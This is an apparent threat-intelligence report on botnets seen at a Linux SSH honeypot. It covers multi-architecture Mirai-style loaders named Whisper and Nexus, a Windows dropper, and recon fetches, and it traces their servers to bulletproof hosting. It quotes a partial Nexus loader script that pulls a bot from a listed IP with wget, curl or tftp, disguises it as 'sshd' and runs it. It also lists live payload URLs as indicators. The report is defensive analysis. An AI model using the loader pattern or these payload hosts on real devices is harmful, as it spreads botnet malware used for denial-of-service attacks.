The Crossroads: Whisper, Nexus, and the Botnets That Share the Worm's Door

The Raspberry Worm — Part 10

Classification: HIGH · Confidence: HIGH (first-party sample analysis; corpus-corroborated infrastructure)

Nine letters followed one worm and the neighbours it fights — the miners it kills, the parent it forked, the wiretap that shares its ground. This one was written to a different instruction: find the unexpected. So it went back to the honeypot's own retained captures and looked, not for the worm, but for whatever else had walked through the same door — and it found that the humble Linux SSH honeypot this series has treated as the worm's stage is, in fact, a crossroads, where at least five distinct botnet operations converge. Two of them do something the crude bash worm never dreamed of: they speak eighteen languages, and one of them carries a Windows passport.

The unexpected finding is not any single new family. It is the shape the honeypot reveals when you stop looking at one worm and look at the traffic entire — a cross-section of the whole cheap-Linux threat market, in which the oldest and crudest operator (the bash worm) shares a doorway with some of the most architecturally-comprehensive malware in circulation, and all of them, it turns out, draw their infrastructure from the same documented enabler network the companion Recidivists series spent months mapping. The worm was never alone at this door. It was one traveller at a busy intersection.

Whisper: the botnet that speaks eighteen languages

The most striking traveller is a Mirai-derivative the honeypot's classifier labels Whisper, and its defining feature is the sheer breadth of hardware it is built to infect. Its loader — a short shell script retained on-estate — fetches an architecture-specific binary from a payload server, and the list of architectures it tries is extraordinary:

whisper.armv5   whisper.armv6   whisper.armv7   whisper.aarch64
whisper.aarch64be   whisper.mips   whisper.mipsle   whisper.mips64
whisper.mips64le   whisper.mips64len32   whisper.mips64n32
whisper.riscv32   whisper.riscv64   whisper.m68k   whisper.sh4
whisper.i686   whisper.arcle750d   whisper.arclehs38

Eighteen distinct targets, and they span the entire history of embedded computing. There is the ancient — m68k, the Motorola 68000 of 1980s machines and old industrial controllers; sh4, the Hitachi SuperH of set-top boxes. There is the ubiquitous — every flavour of ARM and MIPS a router or camera might carry. There is the cutting-edge — riscv32 and riscv64, the open architecture of the newest cheap devices. And there are two that stop an analyst cold: arcle750d and arclehs38, targeting Synopsys ARC processors — deeply-embedded cores found in specialised IoT silicon that most malware never bothers with. An operator who cross-compiles a bot for ARC has decided that even the obscure corners of the embedded world are worth harvesting.

This is a fundamentally more ambitious operation than the worm. Where the Raspberry Worm hunts one credential on one broad class of device, Whisper is built to infect anything with a processor and an open door — the whole zoo, from a 40-year-old CPU to one that shipped last year. It is the industrialised, professionalised end of the IoT-botnet economy: a build pipeline maintaining eighteen cross-compilation targets, a payload server hosting all of them, and a loader that simply tries each in turn until one runs. The bash worm is a poacher with a single snare; Whisper is a factory.

Why speak eighteen languages

The eighteen-architecture spread is not showing off; it is a rational response to the one fact that defines the Internet of Things as a target: it is a Babel of processors. A desktop-malware author writes for x86 and is done, because the desktop world standardised on one architecture decades ago. The embedded world never did. A router might be MIPS, a camera ARM, an industrial controller SuperH or 68000, a new hobbyist board RISC-V, a specialised sensor a Synopsys ARC core — and a bot compiled for one of them will not run on any of the others. Every architecture an operator does not cross-compile for is a slice of the vulnerable-device population they simply cannot conscript, no matter how many of those devices they reach.

So the multi-arch build pipeline is the IoT botnet's core competitive asset, and its breadth is a direct measure of the operator's reach and seriousness. This is exactly what Mirai's 2016 source-code leak commoditised: it turned "cross-compile a bot for the whole embedded zoo" from a specialist skill into a copy-paste build script, and the flood of Mirai-derivatives since — Whisper and Nexus among them — inherited that capability. Whisper's eighteen targets place it at the maximal-reach end of that spectrum. The arcle750d and arclehs38 entries are the tell that it is not a lazy fork: Synopsys ARC is a deeply-embedded architecture that most Mirai variants never bother to build for, because the devices are obscure and the toolchain is a nuisance. An operator who maintains ARC builds has decided the obscure devices are worth the nuisance — that reach into the corners no one else harvests is worth the engineering. It is the same instinct as RedTail's RISC-V payload from Part 6: the professional operators are racing each other to the edges of the device population, old and new, that the crude single-target worms never touch.

The Windows passport

The detail that most did not belong on a Linux SSH honeypot is a member of the Whisper family that is not a Linux binary at all. One retained sample is a Windows PE executable — a genuine one, its header carrying the classic This program cannot be run in DOS mode. stub, its imports naming advapi32.dll and the api-ms-win-core-* libraries, its manifest referencing Windows settings schemas. And this Windows program's job is to reach out to the same Whisper payload server and fetch the ARM bots — whisper.armv5, whisper.armv6.

A Windows executable that drops Linux/ARM IoT payloads is a genuinely cross-platform operation, and its appearance in a Linux honeypot's catch is the kind of anomaly worth stopping on. It means the operator behind Whisper does not think in terms of one operating system: they run a Windows component — a dropper, a stager, perhaps a tool that runs on compromised Windows machines to push IoT bots onto the network around them — alongside their eighteen-architecture Linux fleet. The boundary this whole series has drawn between "Linux malware" and "Windows malware" is, for this operator, not a boundary at all. They harvest whatever answers, on whatever platform, and the Windows PE that wandered into a Linux honeypot is the seam where those two worlds meet in one operation's toolkit.

Nexus: the sibling at the other corner

Whisper is not even the only multi-architecture loader at the crossroads. A second retained loader — the classifier calls it a cross-compiled binary loader, its payloads named nexus — does the same thing from a different server, and its shell is a compact textbook of the technique:

server_ip="202.155.10.112"
binname="nexus"; output="sshd"
binarys="mips mpsl arm arm5 arm6 arm7 x86 arc sh4 ppc spc i5 i6 m68k"
wget http://$server_ip/$binname.$arch -O $output || curl ... || tftp ...
chmod 777 $output; ./$output ...

Fourteen architectures, three fallback download methods (wget, then curl, then tftp — so it works even on a stripped device that has only one), and the downloaded bot saved under the filename sshd — the same daemon-disguise Part 6 found the XMRig miners wearing. Nexus is Whisper's structural twin: a different name, a different server, the same multi-arch Mirai-loader pattern, the same instinct to hide as sshd. Two families, two corners of the same intersection, both doing at industrial scale what the bash worm does by hand.

What the factory makes: the firepower economy

If the worm brokers access and the miners sell stolen cycles, Whisper and Nexus are in a third business, and their Mirai lineage names it: distributed denial of service. The Mirai family and its descendants are, overwhelmingly, DDoS botnets — fleets of compromised devices whose value is their combined ability to flood a target with traffic on command. The whole point of conscripting eighteen architectures' worth of routers, cameras, and controllers is not what any one of them can compute but what all of them can emit: aggregate bandwidth, rented out by the operator to whoever wants a website, a game server, or a rival knocked offline.

That reframes the multi-arch ambition in economic terms. In the firepower economy, reach is revenue: every additional architecture is more conscriptable devices, more devices is more aggregate bandwidth, and more bandwidth is a bigger, more sellable weapon. The booter-and-stresser market — DDoS-for-hire services that rent botnet firepower by the minute through slick web front-ends — has run for years on exactly these Mirai-derivative fleets, and an operator maintaining eighteen build targets is maximising the size of the weapon they can rent. Where the Raspberry Worm's brood of Part 5 is valued one host at a time as sellable access, a DDoS fleet is valued in the aggregate, as a single instrument whose worth is the sum of its conscripts' uplinks. Whisper does not care what any individual device is; it cares how many it can gather and how hard they can collectively push.

This completes the picture of the three monetisation models contending at the crossroads. The CPU is sold by the miners (RedTail). The bandwidth is sold by the DDoS fleets (Whisper, Nexus). The access is sold by the worm and, in credential form, harvested by the PAM wiretap. Cycles, uplink, and entry — three different things to extract from the same compromised host, three different markets to sell them into, and at least five operators pursuing them through one honeypot's door.

The unexpected turn: the infrastructure is already in our files

Here is where the crossroads stops being a curiosity and becomes a connection. The worm's command channel, from Part 3, was un-ownable — a public IRC network no one could seize. Whisper and Nexus are the opposite: they run on real, owned, traceable infrastructure, and when you trace it, both servers are already documented in this investigation's corpus.

Whisper's payload server, 31.170.22.205, belongs to Sia Nano IT (AS43513, Latvia) — and the intelligence pipeline flags that autonomous system as bulletproof, with a risk score of 95.5 and a critical threat classification, already cited in the corpus's Malware Graph mapping. Nexus's server, 202.155.10.112, belongs to Datacamp Limited / CDNEXT (AS212238) — a network that appears in thirty-four prior dossiers, clustered on exactly the theme the Recidivists series named the grey midtier: The Bulletproof Midtier — Hiding Above Consequence, The Midtier: Reputable Enough to Launder, The Laundered Vector, The Cross-Vector Operator. One server is hardcore bulletproof; the other is the reputable-enough midtier that launders malicious traffic behind a legitimate front. Both are the documented enabler layer, and both are serving multi-architecture botnet payloads to whoever compromises a device.

This is the connection that justifies the whole letter, and it collapses a wall the series has kept up. The "malware" of the Raspberry Worm dossiers and the "web threats" and "bulletproof hosting" of the companion Recidivists dossiers are not separate investigations of separate underworlds. They are the same ecosystem, seen from two doors. The bash worm's brood, the PAM wiretap, the RedTail miners, and now Whisper's and Nexus's eighteen-architecture fleets all converge on one honeypot — and behind them, supplying the ground they distribute from, is one enabler network of bulletproof and midtier hosts that both series have been mapping all along. The crossroads at the honeypot's door is a projection of a single supply chain. Follow any traveller far enough and you arrive at the same landlords.

The small tells: neofetch and the mirror

Two more captures deserve a line each, because they are the kind of small, human detail that a broad look surfaces and a narrow one misses. Among the retained download URLs is raw.githubusercontent.com/dylanaraps/neofetch — an attacker pulling neofetch, a completely legitimate, popular open-source system-information tool, straight from its GitHub repository. It is being used for reconnaissance: neofetch prints a tidy summary of a host's OS, kernel, CPU, and hardware, which is exactly what an operator wants to know about a freshly-compromised device before deciding what to do with it. Living off a legitimate GitHub-hosted tool is a quiet, effective way to fingerprint a host without carrying your own recon code.

And among the samples are tiny artifacts whose only function is http://ipinfo.io and http://ifconfig.me — the attacker checking its own public IP address and geolocation. A bot that has just taken a host wants to know where, on the internet, it now stands: what address it will appear from, what country it is in, whether it landed somewhere useful. These "network metadata" fetches are the malware looking in the mirror, and they are a reminder that behind the eighteen architectures and the bulletproof servers is an operator making ordinary operational decisions about ordinary questions — where am I, what did I catch, is it worth keeping.

The census at the door

Assembled, the traffic through this one honeypot's door is a cross-section of the entire cheap-Linux threat market, and it is worth laying out as the census it is:

Five operations, five levels of craft spanning two decades, and among them every way there is to monetise a compromised Linux device: its cycles, its uplink, its doorway, and the secrets that pass through it. No single one of these is the "state of IoT malware" — but the five together, caught at one small sensor in one Romanian apartment, are a remarkably complete sample of it. That is the deepest reason to have looked past the worm when told to find the unexpected: the honeypot's value was never the one worm it caught most vividly. It was the cross-section of an entire economy that walks through its door, in which the worm is one traveller among many, distinguished less by being the worst than by being the one this series happened to follow home first.

And the sample is representative in its supply chain as much as its demand. Two of the five run on infrastructure this investigation had already catalogued as bulletproof or midtier-laundering; the worm's own spreaders, from Part 5, included the same DMZHOST and VPS Dedicated hosts the Recidivists series banned. The demand side is diverse — miners, DDoS crews, access brokers, credential thieves — but the supply side converges. Whatever a traveller at the crossroads intends to do with a stolen device, they rented the ground to do it from the same small set of landlords. Find the unexpected, and the unexpected turns out to be how expected the bottom of it all is: one enabler network, quietly renting to everyone.

What holds, and what is bounded

What holds, first-party: the Whisper loader and its eighteen-architecture target list, the Windows PE member and its ARM-payload URLs, the Nexus loader with its fourteen architectures and sshd disguise, and the neofetch and IP-check recon captures — all read directly from the honeypot's retained samples. The infrastructure attributions (31.170.22.205 → Sia Nano IT, bulletproof; 202.155.10.112 → Datacamp/CDNEXT, midtier) are from the intelligence pipeline's ASN dossiers, corroborated by their appearance across the existing dossier corpus.

What is bounded: the architecture lists are what each loader is built to fetch, which proves the operator's cross-compilation ambition but not that a working binary for every one of the eighteen was present on the server at capture time. The Windows PE's exact role — whether it runs on compromised Windows hosts to push IoT bots, or is a stager in a broader chain — is inferred from its cross-platform payload-fetching, not from observing its execution. And the count of "five operations" at the crossroads is this sensor's catch; the true number passing through is certainly higher.

What is not claimed — the separateness, again: Whisper and Nexus are their own operations, unconnected to the Raspberry Worm's operator by any shared key, channel, or code — the worm speaks cleartext IRC to UnderNet, these speak HTTP to owned bulletproof servers. They share the honeypot, the target population, and — the finding of this letter — the supply-side infrastructure, but not an operator. The connection asserted here is to the documented enabler network, not between the botnets themselves.

Core IOCs

• Whisper (multi-arch Mirai-derivative): payload server http://31.170.22.205/bins/whisper.<arch> (/dl600 loader); 18 architectures incl armv5-7, aarch64/aarch64be, mips + mips64 variants, mipsle, riscv32/64, m68k, sh4, i686, and Synopsys ARC (arcle750d, arclehs38); a Windows PE dropper fetching whisper.armv5/armv6.
• Whisper infrastructure: 31.170.22.205 — Sia Nano IT, AS43513 (LV), flagged bulletproof, risk 95.5, critical.
• Nexus (multi-arch loader): payload server http://202.155.10.112/ (/shr loader), payloads nexus.<arch> saved as sshd; 14 architectures; wget/curl/tftp fallback.
• Nexus infrastructure: 202.155.10.112 — Datacamp Limited / CDNEXT, AS212238, documented midtier-laundering host (34 prior dossiers).
• Recon tells: raw.githubusercontent.com/dylanaraps/neofetch (legit tool abused for host fingerprinting); ipinfo.io / ifconfig.me (self-IP/geo checks).

Cross-references

• TI-2026-087F — The Kill List: the three-cornered market and the sshd-disguise Whisper and Nexus share with the miners.
• TI-2026-087E — The Dispossessed: the shared-infrastructure finding, here extended — Whisper and Nexus distribute from the same documented bulletproof/midtier network the worm's rented spreaders used.
• The Recidivists / bulletproof-hosting series (Sia Nano IT, Datacamp/CDNEXT): the enabler network this letter's crossroads projects onto — the single supply chain beneath both series.

Told to find the unexpected, this letter found not a new monster but a new map: the worm's honeypot is an intersection, and the traffic through it is the whole cheap-Linux threat economy in miniature — a hand-cranked bash worm and an eighteen-language factory botnet queuing at the same door, a Linux honeypot catching a Windows dropper, and every one of them, followed home, arriving at the same bulletproof and midtier landlords already named in the files. The most unexpected thing about the Raspberry Worm, in the end, is how much company it keeps — and how little, at the level of infrastructure, separates the crudest traveller at the crossroads from the most sophisticated. They took different roads to the door. They all rent from the same street.